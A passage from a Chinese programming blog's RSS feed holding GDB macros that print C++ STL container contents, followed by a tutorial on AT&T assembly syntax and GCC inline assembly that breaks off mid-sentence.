val</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>pset s - prints set size and definition</div><div><span style="white-space:pre">	</span>pset s int - prints all elements and the size of s</div><div><span style="white-space:pre">	</span>pset s int 20 - prints the element(s) with value = 20 (if any) and the size of s</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::dequeue</div><div>#</div><div></div><div>define pdequeue</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pdequeue</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $size = 0</div><div><span style="white-space:pre">		</span>set $start_cur = $arg0._M_impl._M_start._M_cur</div><div><span style="white-space:pre">		</span>set $start_last = $arg0._M_impl._M_start._M_last</div><div><span style="white-space:pre">		</span>set $start_stop = $start_last</div><div><span style="white-space:pre">		</span>while $start_cur != $start_stop</div><div><span style="white-space:pre">			</span>p *$start_cur</div><div><span style="white-space:pre">			</span>set $start_cur++</div><div><span style="white-space:pre">			</span>set $size++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>set $finish_first = $arg0._M_impl._M_finish._M_first</div><div><span style="white-space:pre">		</span>set $finish_cur = $arg0._M_impl._M_finish._M_cur</div><div><span style="white-space:pre">		</span>set $finish_last = $arg0._M_impl._M_finish._M_last</div><div><span style="white-space:pre">		</span>if $finish_cur &lt; $finish_last</div><div><span style="white-space:pre">			</span>set $finish_stop = $finish_cur</div><div><span style="white-space:pre">		</span>else</div><div><span style="white-space:pre">			</span>set $finish_stop = $finish_last</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>while $finish_first != $finish_stop</div><div><span style="white-space:pre">			</span>p *$finish_first</div><div><span style="white-space:pre">			</span>set $finish_first++</div><div><span style="white-space:pre">			</span>set $size++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "Dequeue size = %u\n", $size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pdequeue</div><div><span style="white-space:pre">	</span>Prints std::dequeue&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: pdequeue &lt;dequeue&gt;: Prints dequeue size, if T defined all elements</div><div><span style="white-space:pre">	</span>Deque elements are listed "left to right" (left-most stands for front and right-most stands for back)</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pdequeue d - prints all elements and size of d</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::stack</div><div>#</div><div></div><div>define pstack</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pstack</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $start_cur = $arg0.c._M_impl._M_start._M_cur</div><div><span style="white-space:pre">		</span>set $finish_cur = $arg0.c._M_impl._M_finish._M_cur</div><div><span style="white-space:pre">		</span>set $size = $finish_cur - $start_cur</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set $i = $size - 1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; while $i &gt;= 0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p *($start_cur + $i)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $i--</div><div>&nbsp; &nbsp; &nbsp; &nbsp; end</div><div><span style="white-space:pre">		</span>printf "Stack size = %u\n", $size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pstack</div><div><span style="white-space:pre">	</span>Prints std::stack&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: pstack &lt;stack&gt;: Prints all elements and size of the stack</div><div><span style="white-space:pre">	</span>Stack elements are listed "top to buttom" (top-most element is the first to come on pop)</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pstack s - prints all elements and the size of s</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::queue</div><div>#</div><div></div><div>define pqueue</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pqueue</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $start_cur = $arg0.c._M_impl._M_start._M_cur</div><div><span style="white-space:pre">		</span>set $finish_cur = $arg0.c._M_impl._M_finish._M_cur</div><div><span style="white-space:pre">		</span>set $size = $finish_cur - $start_cur</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set $i = 0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; while $i &lt; $size</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p *($start_cur + $i)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $i++</div><div>&nbsp; &nbsp; &nbsp; &nbsp; end</div><div><span style="white-space:pre">		</span>printf "Queue size = %u\n", $size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pqueue</div><div><span style="white-space:pre">	</span>Prints std::queue&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: pqueue &lt;queue&gt;: Prints all elements and the size of the queue</div><div><span style="white-space:pre">	</span>Queue elements are listed "top to bottom" (top-most element is the first to come on pop)</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pqueue q - prints all elements and the size of q</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::priority_queue</div><div>#</div><div></div><div>define ppqueue</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help ppqueue</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $size = $arg0.c._M_impl._M_finish - $arg0.c._M_impl._M_start</div><div><span style="white-space:pre">		</span>set $capacity = $arg0.c._M_impl._M_end_of_storage - $arg0.c._M_impl._M_start</div><div><span style="white-space:pre">		</span>set $i = $size - 1</div><div><span style="white-space:pre">		</span>while $i &gt;= 0</div><div><span style="white-space:pre">			</span>p *($arg0.c._M_impl._M_start + $i)</div><div><span style="white-space:pre">			</span>set $i--</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "Priority queue size = %u\n", $size</div><div><span style="white-space:pre">		</span>printf "Priority queue capacity = %u\n", $capacity</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document ppqueue</div><div><span style="white-space:pre">	</span>Prints std::priority_queue&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: ppqueue &lt;priority_queue&gt;: Prints all elements, size and capacity of the priority_queue</div><div><span style="white-space:pre">	</span>Priority_queue elements are listed "top to buttom" (top-most element is the first to come on pop)</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>ppqueue pq - prints all elements, size and capacity of pq</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::bitset</div><div>#</div><div></div><div>define pbitset</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pbitset</div><div><span style="white-space:pre">	</span>else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; p /t $arg0._M_w</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pbitset</div><div><span style="white-space:pre">	</span>Prints std::bitset&lt;n&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: pbitset &lt;bitset&gt;: Prints all bits in bitset</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pbitset b - prints all bits in b</div><div>end</div><div></div><div></div><div></div><div>#</div><div># std::string</div><div>#</div><div></div><div>define pstring</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pstring</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>printf "String \t\t\t= \"%s\"\n", $arg0._M_dataplus._M_p</div><div><span style="white-space:pre">		</span>printf "String size/length \t= %u\n", (((std::string::_Rep*) ($arg0._M_dataplus._M_p))[-1])._M_length</div><div><span style="white-space:pre">		</span>printf "String capacity \t= %u\n", (((std::string::_Rep*) ($arg0._M_dataplus._M_p))[-1])._M_capacity</div><div><span style="white-space:pre">		</span>printf "String ref-count \t= %d\n", (((std::string::_Rep*) ($arg0._M_dataplus._M_p))[-1])._M_refcount</div><div>#printf "String \t\t\t= \"%s\"\n", $arg0._M_data()</div><div>#printf "String size/length \t= %u\n", $arg0._M_rep()._M_length</div><div>#printf "String capacity \t= %u\n", $arg0._M_rep()._M_capacity</div><div>#printf "String ref-count \t= %d\n", $arg0._M_rep()._M_refcount</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pstring</div><div><span style="white-space:pre">	</span>Prints std::string information.</div><div><span style="white-space:pre">	</span>Syntax: pstring &lt;string&gt;</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pstring s - Prints content, size/length, capacity and ref-count of string s</div><div>end&nbsp;</div><div></div><div>#</div><div># std::wstring</div><div>#</div><div></div><div>define pwstring</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pwstring</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>call printf("WString \t\t= \"%ls\"\n", $arg0._M_data())</div><div><span style="white-space:pre">		</span>printf "WString size/length \t= %u\n", $arg0._M_rep()._M_length</div><div><span style="white-space:pre">		</span>printf "WString capacity \t= %u\n", $arg0._M_rep()._M_capacity</div><div><span style="white-space:pre">		</span>printf "WString ref-count \t= %d\n", $arg0._M_rep()._M_refcount</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pwstring</div><div><span style="white-space:pre">	</span>Prints std::wstring information.</div><div><span style="white-space:pre">	</span>Syntax: pwstring &lt;wstring&gt;</div><div><span style="white-space:pre">	</span>Example:</div><div><span style="white-space:pre">	</span>pwstring s - Prints content, size/length, capacity and ref-count of wstring s</div><div>end&nbsp;</div><div></div><div>#</div><div># C++ related beautifiers (optional)</div><div>#</div><div></div><div>set print pretty on</div><div>set print object on</div><div>set print static-members on</div><div>set print vtbl on</div><div>set print demangle on</div><div>set demangle-style gnu-v3</div><div>set print sevenbit-strings off</div><img src ="http://www.blogjava.net/bacoo/aggbug/390979.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2012-11-07 17:51 <a href="http://www.blogjava.net/bacoo/archive/2012/11/07/390979.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>__asm__ __volatile__ GCC的内嵌汇编语法</title><link>http://www.blogjava.net/bacoo/archive/2012/05/01/377107.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 01 May 2012 04:35:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2012/05/01/377107.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/377107.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2012/05/01/377107.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/377107.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/377107.html</trackback:ping><description><![CDATA[<div class="tit">[Linux]__asm__ __volatile__ GCC的内嵌汇编语法 AT&amp;T汇编语言语法（一）</div>
<div class="date">2010-03-17 11:33</div>
<table style="width: 100%; table-layout: fixed">
<tbody>
<tr>
<td>
<div id="blog_text" class="cnt"><a href="http://hi.baidu.com/hilyjiang/blog/item/7db5077a8180dbec2e73b380.html"><font size="2">http://hi.baidu.com/hilyjiang/blog/item/7db5077a8180dbec2e73b380.html</font></a><br /><a href="http://blog.chinaunix.net/u3/93809/showart_1890394.html">http://blog.chinaunix.net/u3/93809/showart_1890394.html</a><br /><br /><br /><font size="2"><font color="#556b2f">开发一个OS，尽管绝大部分代码只需要用C/C++等高级语言就可以了，但至少和硬件相关部分的代码需要使用汇编语言，另外，由于启动部分的代码有大小限 制，使用精练的汇编可以缩小目标代码的Size。另外，对于某些需要被经常调用的代码，使用汇编来写可以提高性能。所以我们必须了解汇编语言，即使你有可 能并不喜欢它。<br /><br /><br /><br />如果你是计算机专业的话，在大学里你应该学习过Intel格式的8086/80386汇编，这里就不再讨论。如果我们选择的OS开发工具是GCC以及GAS的话，就必须了解AT&amp;T汇编语言语法，因为GCC/GAS只支持这种汇编语法。<br /><br /><br /><br />本书不会去讨论8086/80386的汇编编程，这类的书籍很多，你可以参考它们。这里只会讨论AT&amp;T的汇编语法，以及GCC的内嵌汇编语法。<br /><br /><br /><br />--------------------------------------------------------------------------------<br /><br /><br /><br />0.3.2 Syntax <br /><br />1.寄存器引用<br /><br />引用寄存器要在寄存器号前加百分号%,如&#8220;movl %eax, %ebx&#8221;。<br /><br />80386有如下寄存器：<br /><br />8个32-bit寄存器 %eax，%ebx，%ecx，%edx，%edi，%esi，%ebp，%esp； <br />8个16-bit寄存器，它们事实上是上面8个32-bit寄存器的低16位：%ax，%bx，%cx，%dx，%di，%si，%bp，%sp； <br />8个8-bit寄存器：%ah，%al，%bh，%bl，%ch，%cl，%dh，%dl。它们事实上是寄存器%ax，%bx，%cx，%dx的高8位和低8位； <br />6个段寄存器：%cs(code)，%ds(data)，%ss(stack), %es，%fs，%gs； <br />3个控制寄存器：%cr0，%cr2，%cr3； <br />6个debug寄存器：%db0，%db1，%db2，%db3，%db6，%db7； <br />2个测试寄存器：%tr6，%tr7； <br />8个浮点寄存器栈：%st(0)，%st(1)，%st(2)，%st(3)，%st(4)，%st(5)，%st(6)，%st(7)。<br />2. 操作数顺序<br /><br />操作数排列是从源（左）到目的（右），如&#8220;movl %eax(源）, %ebx(目的）&#8221;<br /><br />3. 立即数<br /><br />使用立即数，要在数前面加符号$, 如&#8220;movl $0x04, %ebx&#8221;<br /><br />或者：<br /><br />para = 0x04<br /><br />movl $para, %ebx<br /><br />指令执行的结果是将立即数04h装入寄存器ebx。<br /><br />4. 符号常数<br /><br />符号常数直接引用 如<br /><br />value: .long 0x12a3f2de<br /><br />movl value , %ebx<br /><br />指令执行的结果是将常数0x12a3f2de装入寄存器ebx。<br /><br />引用符号地址在符号前加符号$, 如&#8220;movl $value, % ebx&#8221;则是将符号value的地址装入寄存器ebx。<br /><br />5. 操作数的长度<br /><br />操作数的长度用加在指令后的符号表示b(byte, 8-bit), w(word, 16-bits), l(long, 32-bits)，如&#8220;movb %al, %bl&#8221;，&#8220;movw %ax, %bx&#8221;，&#8220;movl %eax, %ebx &#8221;。<br /><br />如 果没有指定操作数长度的话，编译器将按照目标操作数的长度来设置。比如指令&#8220;mov %ax, %bx&#8221;，由于目标操作数bx的长度为word，那么编译器将把此指令等同于&#8220;movw %ax, %bx&#8221;。同样道理，指令&#8220;mov $4, %ebx&#8221;等同于指令&#8220;movl $4, %ebx&#8221;，&#8220;push %al&#8221;等同于&#8220;pushb %al&#8221;。对于没有指定操作数长度，但编译器又无法猜测的指令，编译器将会报错，比如指令&#8220;push $4&#8221;。<br /><br />6. 符号扩展和零扩展指令<br /><br />绝大多数面向80386的AT&amp;T汇编指令与Intel格式的汇编指令都是相同的，符号扩展指令和零扩展指令则是仅有的不同格式指令。<br /><br />符号扩展指令和零扩展指令需要指定源操作数长度和目的操作数长度，即使在某些指令中这些操作数是隐含的。<br /><br />在AT&amp; T语法中，符号扩展和零扩展指令的格式为，基本部分"movs"和"movz"（对应Intel语法的movsx和movzx），后面跟上源操作数长度和 目的操作数长度。movsbl意味着movs （from）byte （to）long；movbw意味着movs （from）byte （to）word；movswl意味着movs （from）word （to）long。对于movz指令也一样。比如指令&#8220;movsbl %al, %edx&#8221;意味着将al寄存器的内容进行符号扩展后放置到edx寄存器中。<br /><br />其它的Intel格式的符号扩展指令还有：<br /><br />cbw -- sign-extend byte in %al to word in %ax； <br />cwde -- sign-extend word in %ax to long in %eax； <br />cwd -- sign-extend word in %ax to long in %dx:%ax； <br />cdq -- sign-extend dword in %eax to quad in %edx:%eax；<br />对应的AT&amp;T语法的指令为cbtw，cwtl，cwtd，cltd。<br /><br />7. 调用和跳转指令<br /><br />段内调用和跳转指令为"call"，"ret"和"jmp"，段间调用和跳转指令为"lcall"，"lret"和"ljmp"。<br /><br />段间调用和跳转指令的格式为&#8220;lcall/ljmp $SECTION, $OFFSET&#8221;，而段间返回指令则为&#8220;lret $STACK-ADJUST&#8221;。<br /><br />8. 前缀<br /><br />操作码前缀被用在下列的情况：<br /><br />字符串重复操作指令(rep,repne)； <br />指定被操作的段(cs,ds,ss,es,fs,gs)； <br />进行总线加锁(lock)； <br />指定地址和操作的大小(data16,addr16)；<br />在AT&amp;T汇编语法中，操作码前缀通常被单独放在一行，后面不跟任何操作数。例如，对于重复scas指令，其写法为：<br /><br />repne<br />scas<br /><br />上述操作码前缀的意义和用法如下：<br /><br />指定被操作的段前缀为cs,ds,ss,es,fs,和gs。在AT&amp;T语法中，只需要按照section:memory-operand的格式就指定了相应的段前缀。比如：lcall %cs:realmode_swtch <br />操作数／地址大小前缀是&#8220;data16&#8221;和"addr16"，它们被用来在32-bit操作数／地址代码中指定16-bit的操作数／地址。 <br />总 线加锁前缀&#8220;lock&#8221;，它是为了在多处理器环境中，保证在当前指令执行期间禁止一切中断。这个前缀仅仅对ADD, ADC, AND, BTC, BTR, BTS, CMPXCHG,DEC, INC, NEG, NOT, OR, SBB, SUB, XOR, XADD,XCHG指令有效，如果将Lock前缀用在其它指令之前，将会引起异常。 <br />字符串重复操作前缀"rep","repe","repne"用来让字符串操作重复&#8220;%ecx&#8221;次。<br /><br />9. 内存引用<br /><br />Intel语法的间接内存引用的格式为：<br /><br />section:[base+index*scale+displacement]<br /><br />而在AT&amp;T语法中对应的形式为：<br /><br />section:displacement(base,index,scale)<br /><br />其 中，base和index是任意的32-bit base和index寄存器。scale可以取值1，2，4，8。如果不指定scale值，则默认值为1。section可以指定任意的段寄存器作为段前 缀，默认的段寄存器在不同的情况下不一样。如果你在指令中指定了默认的段前缀，则编译器在目标代码中不会产生此段前缀代码。<br /><br />下面是一些例子：<br /><br />-4(%ebp)：base=%ebp，displacement=-4，section没有指定，由于base＝%ebp，所以默认的section=%ss，index,scale没有指定，则index为0。<br /><br />foo(,%eax,4)：index=%eax，scale=4，displacement=foo。其它域没有指定。这里默认的section=%ds。<br /><br />foo(,1)：这个表达式引用的是指针foo指向的地址所存放的值。注意这个表达式中没有base和index，并且只有一个逗号，这是一种异常语法，但却合法。<br /><br />%gs:foo：这个表达式引用的是放置于%gs段里变量foo的值。<br /><br />如果call和jump操作在操作数前指定前缀&#8220;*&#8221;，则表示是一个绝对地址调用/跳转，也就是说jmp/call指令指定的是一个绝对地址。如果没有指定"*"，则操作数是一个相对地址。<br /><br />任何指令如果其操作数是一个内存操作，则指令必须指定它的操作尺寸(byte,word,long），也就是说必须带有指令后缀(b,w,l)。<br /><br />.3 GCC Inline ASM<br /><br />GCC 支持在C/C++代码中嵌入汇编代码，这些汇编代码被称作GCC Inline ASM&#8212;&#8212;GCC内联汇编。这是一个非常有用的功能，有利于我们将一些C/C++语法无法表达的指令直接潜入C/C++代码中，另外也允许我们直接写 C/C++代码中使用汇编编写简洁高效的代码。<br /><br />1.基本内联汇编<br /><br />GCC中基本的内联汇编非常易懂，我们先来看两个简单的例子：<br /><br />__asm__("movl %esp,%eax"); // 看起来很熟悉吧！<br /><br />或者是<br /><br />__asm__("<br />movl $1,%eax // SYS_exit<br />xor %ebx,%ebx<br />int $0x80<br />");<br /><br />或<br /><br />__asm__(<br />"movl $1,%eax\r\t" \<br />"xor %ebx,%ebx\r\t" \<br />"int $0x80" \<br />);<br /><br />基本内联汇编的格式是<br /><br />__asm__ __volatile__("Instruction List");<br /><br /><br />1、__asm__<br /><br />__asm__是GCC关键字asm的宏定义：<br /><br />#define __asm__ asm<br /><br />__asm__或asm用来声明一个内联汇编表达式，所以任何一个内联汇编表达式都是以它开头的，是必不可少的。<br /><br />2、Instruction List<br /><br />Instruction List是汇编指令序列。它可以是空的，比如：__asm__ __volatile__(""); 或__asm__ ("");都是完全合法的内联汇编表达式，只不过这两条语句没有什么意义。但并非所有Instruction List为空的内联汇编表达式都是没有意义的，比如：__asm__ ("":::"memory"); 就非常有意义，它向GCC声明：&#8220;我对内存作了改动&#8221;，GCC在编译的时候，会将此因素考虑进去。<br /><br />我们看一看下面这个例子：<br /><br />$ cat example1.c<br /><br />int main(int __argc, char* __argv[]) <br />{ <br />int* __p = (int*)__argc; <br /><br />(*__p) = 9999; <br /><br />//__asm__("":::"memory"); <br /><br />if((*__p) == 9999) <br />return 5; <br /><br />return (*__p); <br />}<br /><br />在 这段代码中，那条内联汇编是被注释掉的。在这条内联汇编之前，内存指针__p所指向的内存被赋值为9999，随即在内联汇编之后，一条if语句判断__p 所指向的内存与9999是否相等。很明显，它们是相等的。GCC在优化编译的时候能够很聪明的发现这一点。我们使用下面的命令行对其进行编译：<br /><br />$ gcc -O -S example1.c<br /><br />选项-O表示优化编译，我们还可以指定优化等级，比如-O2表示优化等级为2；选项-S表示将C/C++源文件编译为汇编文件，文件名和C/C++文件一样，只不过扩展名由.c变为.s。<br /><br />我们来查看一下被放在example1.s中的编译结果，我们这里仅仅列出了使用gcc 2.96在redhat 7.3上编译后的相关函数部分汇编代码。为了保持清晰性，无关的其它代码未被列出。<br /><br />$ cat example1.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />movl 8(%ebp), %eax # int* __p = (int*)__argc<br />movl $9999, (%eax) # (*__p) = 9999 <br />movl $5, %eax # return 5<br />popl %ebp <br />ret<br /><br />参 照一下C源码和编译出的汇编代码，我们会发现汇编代码中，没有if语句相关的代码，而是在赋值语句(*__p)=9999后直接return 5；这是因为GCC认为在(*__p)被赋值之后，在if语句之前没有任何改变(*__p)内容的操作，所以那条if语句的判断条件(*__p) == 9999肯定是为true的，所以GCC就不再生成相关代码，而是直接根据为true的条件生成return 5的汇编代码（GCC使用eax作为保存返回值的寄存器）。<br /><br />我们现在将example1.c中内联汇编的注释去掉，重新编译，然后看一下相关的编译结果。<br /><br />$ gcc -O -S example1.c<br /><br />$ cat example1.s<br /><br />main: <br />pushl %ebp <br />movl %esp, %ebp <br />movl 8(%ebp), %eax # int* __p = (int*)__argc<br />movl $9999, (%eax) # (*__p) = 9999<br />#APP <br /><br /># __asm__("":::"memory")<br />#NO_APP<br />cmpl $9999, (%eax) # (*__p) == 9999 ?<br />jne .L3 # false <br />movl $5, %eax # true, return 5 <br />jmp .L2 <br />.p2align 2 <br />.L3: <br />movl (%eax), %eax <br />.L2: <br />popl %ebp <br />ret<br /><br />由于内联汇编语句__asm__("":::"memory")向GCC声明，在此内联汇编语句出现的位置内存内容可能了改变，所以GCC在编译时就不能像刚才那样处理。这次，GCC老老实实的将if语句生成了汇编代码。<br /><br />可能有人会质疑：为什么要使用__asm__("":::"memory")向GCC声明内存发生了变化？明明&#8220;Instruction List&#8221;是空的，没有任何对内存的操作，这样做只会增加GCC生成汇编代码的数量。<br /><br />确 实，那条内联汇编语句没有对内存作任何操作，事实上它确实什么都没有做。但影响内存内容的不仅仅是你当前正在运行的程序。比如，如果你现在正在操作的内存 是一块内存映射，映射的内容是外围I/O设备寄存器。那么操作这块内存的就不仅仅是当前的程序，I/O设备也会去操作这块内存。既然两者都会去操作同一块 内存，那么任何一方在任何时候都不能对这块内存的内容想当然。所以当你使用高级语言C/C++写这类程序的时候，你必须让编译器也能够明白这一点，毕竟高 级语言最终要被编译为汇编代码。<br /><br />你可能已经注意到了，这次输出的汇编结果中，有两个符号：#APP和#NO_APP，GCC将内联汇编语 句中"Instruction List"所列出的指令放在#APP和#NO_APP之间，由于__asm__("":::"memory")中&#8220;Instruction List&#8221;为空，所以#APP和#NO_APP中间也没有任何内容。但我们以后的例子会更加清楚的表现这一点。<br /><br />关于为什么内联汇编__asm__("":::"memory")是一条声明内存改变的语句，我们后面会详细讨论。<br /><br />刚才我们花了大量的内容来讨论"Instruction List"为空是的情况，但在实际的编程中，"Instruction List"绝大多数情况下都不是空的。它可以有1条或任意多条汇编指令。<br /><br />当 在"Instruction List"中有多条指令的时候，你可以在一对引号中列出全部指令，也可以将一条或几条指令放在一对引号中，所有指令放在多对引号中。如果是前者，你可以将 每一条指令放在一行，如果要将多条指令放在一行，则必须用分号（；）或换行符（\n，大多数情况下\n后还要跟一个\t，其中\n是为了换行，\t是为了 空出一个tab宽度的空格）将它们分开。比如：<br /><br />__asm__("movl %eax, %ebx <br />sti <br />popl %edi <br />subl %ecx, %ebx"); <br /><br />__asm__("movl %eax, %ebx; sti <br />popl %edi; subl %ecx, %ebx");<br /><br />__asm__("movl %eax, %ebx; sti\n\t popl %edi<br />subl %ecx, %ebx");<br /><br />都是合法的写法。如果你将指令放在多对引号中，则除了最后一对引号之外，前面的所有引号里的最后一条指令之后都要有一个分号(；)或(\n)或(\n\t)。比如：<br /><br />__asm__("movl %eax, %ebx <br />sti\n" <br />"popl %edi;" <br />"subl %ecx, %ebx"); <br /><br />__asm__("movl %eax, %ebx; sti\n\t" <br />"popl %edi; subl %ecx, %ebx");<br /><br />__asm__("movl %eax, %ebx; sti\n\t popl %edi\n"<br />"subl %ecx, %ebx");<br /><br />__asm__("movl %eax, %ebx; sti\n\t popl %edi;" "subl %ecx, %ebx");<br /><br />都是合法的。<br /><br />上述原则可以归结为：<br /><br />任意两个指令间要么被分号(；)分开，要么被放在两行； <br />放在两行的方法既可以从通过\n的方法来实现，也可以真正的放在两行； <br />可以使用1对或多对引号，每1对引号里可以放任一多条指令，所有的指令都要被放到引号中。<br />在基本内联汇编中，&#8220;Instruction List&#8221;的书写的格式和你直接在汇编文件中写非内联汇编没有什么不同，你可以在其中定义Label，定义对齐(.align n )，定义段(.section name )。例如：<br /><br />__asm__(".align 2\n\t" <br />"movl %eax, %ebx\n\t" <br />"test %ebx, %ecx\n\t" <br />"jne error\n\t" <br />"sti\n\t" <br />"error: popl %edi\n\t" <br />"subl %ecx, %ebx");<br /><br />上面例子的格式是Linux内联代码常用的格式，非常整齐。也建议大家都使用这种格式来写内联汇编代码。<br /><br /><br />3、__volatile__<br /><br />__volatile__是GCC关键字volatile的宏定义：<br /><br />#define __volatile__ volatile<br /><br />__volatile__ 或volatile是可选的，你可以用它也可以不用它。如果你用了它，则是向GCC声明&#8220;不要动我所写的Instruction List，我需要原封不动的保留每一条指令&#8221;，否则当你使用了优化选项(-O)进行编译时，GCC将会根据自己的判断决定是否将这个内联汇编表达式中的指 令优化掉。<br /><br />那么GCC判断的原则是什么？我不知道（如果有哪位朋友清楚的话，请告诉我）。我试验了一下，发现一条内联汇编语句如果是基本 内联汇编的话（即只有&#8220;Instruction List&#8221;，没有Input/Output/Clobber的内联汇编，我们后面将会讨论这一点），无论你是否使用__volatile__来修饰， GCC 2.96在优化编译时，都会原封不动的保留内联汇编中的&#8220;Instruction List&#8221;。但或许我的试验的例子并不充分，所以这一点并不能够得到保证。<br /><br />为了保险起见，如果你不想让GCC的优化影响你的内联汇编代码，你最好在前面都加上__volatile__，而不要依赖于编译器的原则，因为即使你非常了解当前编译器的优化原则，你也无法保证这种原则将来不会发生变化。而__volatile__的含义却是恒定的。<br /><br />2、带有C/C++表达式的内联汇编<br /><br />GCC允许你通过C/C++表达式指定内联汇编中"Instrcuction List"中指令的输入和输出，你甚至可以不关心到底使用哪个寄存器被使用，完全靠GCC来安排和指定。这一点可以让程序员避免去考虑有限的寄存器的使用，也可以提高目标代码的效率。<br /><br />我们先来看几个例子：<br /><br />__asm__ (" " : : : "memory" ); // 前面提到的<br /><br />__asm__ ("mov %%eax, %%ebx" : "=b"(rv) : "a"(foo) : "eax", "ebx");<br /><br />__asm__ __volatile__("lidt %0": "=m" (idt_descr));<br /><br />__asm__("subl %2,%0\n\t"<br />"sbbl %3,%1"<br />: "=a" (endlow), "=d" (endhigh)<br />: "g" (startlow), "g" (starthigh), "0" (endlow), "1" (endhigh));<br /><br />怎么样，有点印象了吧，是不是也有点晕？没关系，下面讨论完之后你就不会再晕了。（当然，也有可能更晕^_^）。讨论开始&#8212;&#8212;<br /><br />带有C/C++表达式的内联汇编格式为：<br /><br />__asm__　__volatile__("Instruction List" : Output : Input : Clobber/Modify);<br /><br />从中我们可以看出它和基本内联汇编的不同之处在于：它多了3个部分(Input，Output，Clobber/Modify)。在括号中的4个部分通过冒号(:)分开。<br /><br />这4个部分都不是必须的，任何一个部分都可以为空，其规则为：<br /><br />如 果Clobber/Modify为空，则其前面的冒号(:)必须省略。比如__asm__("mov %%eax, %%ebx" : "=b"(foo) : "a"(inp) : )就是非法的写法；而__asm__("mov %%eax, %%ebx" : "=b"(foo) : "a"(inp) )则是正确的。 <br />如果Instruction List为空，则Input，Output，Clobber/Modify可以不为空，也可以为空。比如__asm__ ( " " : : : "memory" );和__asm__(" " : : );都是合法的写法。 <br />如 果Output，Input，Clobber/Modify都为空，Output，Input之前的冒号(:)既可以省略，也可以不省略。如果都省略，则 此汇编退化为一个基本内联汇编，否则，仍然是一个带有C/C++表达式的内联汇编，此时"Instruction List"中的寄存器写法要遵守相关规定，比如寄存器前必须使用两个百分号(%%)，而不是像基本汇编格式一样在寄存器前只使用一个百分号(%)。比如 __asm__( " mov %%eax, %%ebx" : : )；__asm__( " mov %%eax, %%ebx" : )和__asm__( " mov %eax, %ebx" )都是正确的写法，而__asm__( " mov %eax, %ebx" : : )；__asm__( " mov %eax, %ebx" : )和__asm__( " mov %%eax, %%ebx" )都是错误的写法。 <br />如果Input，Clobber/Modify为空，但Output不为空，Input前的冒号(:)既可以省略，也可以不省略。比如 __asm__( " mov %%eax, %%ebx" : "=b"(foo) : )；__asm__( " mov %%eax, %%ebx" : "=b"(foo) )都是正确的。 <br />如果后面的部分不为空，而前面的部分为空，则前面的冒号(:)都必须保留，否则无法说 明不为空的部分究竟是第几部分。比如， 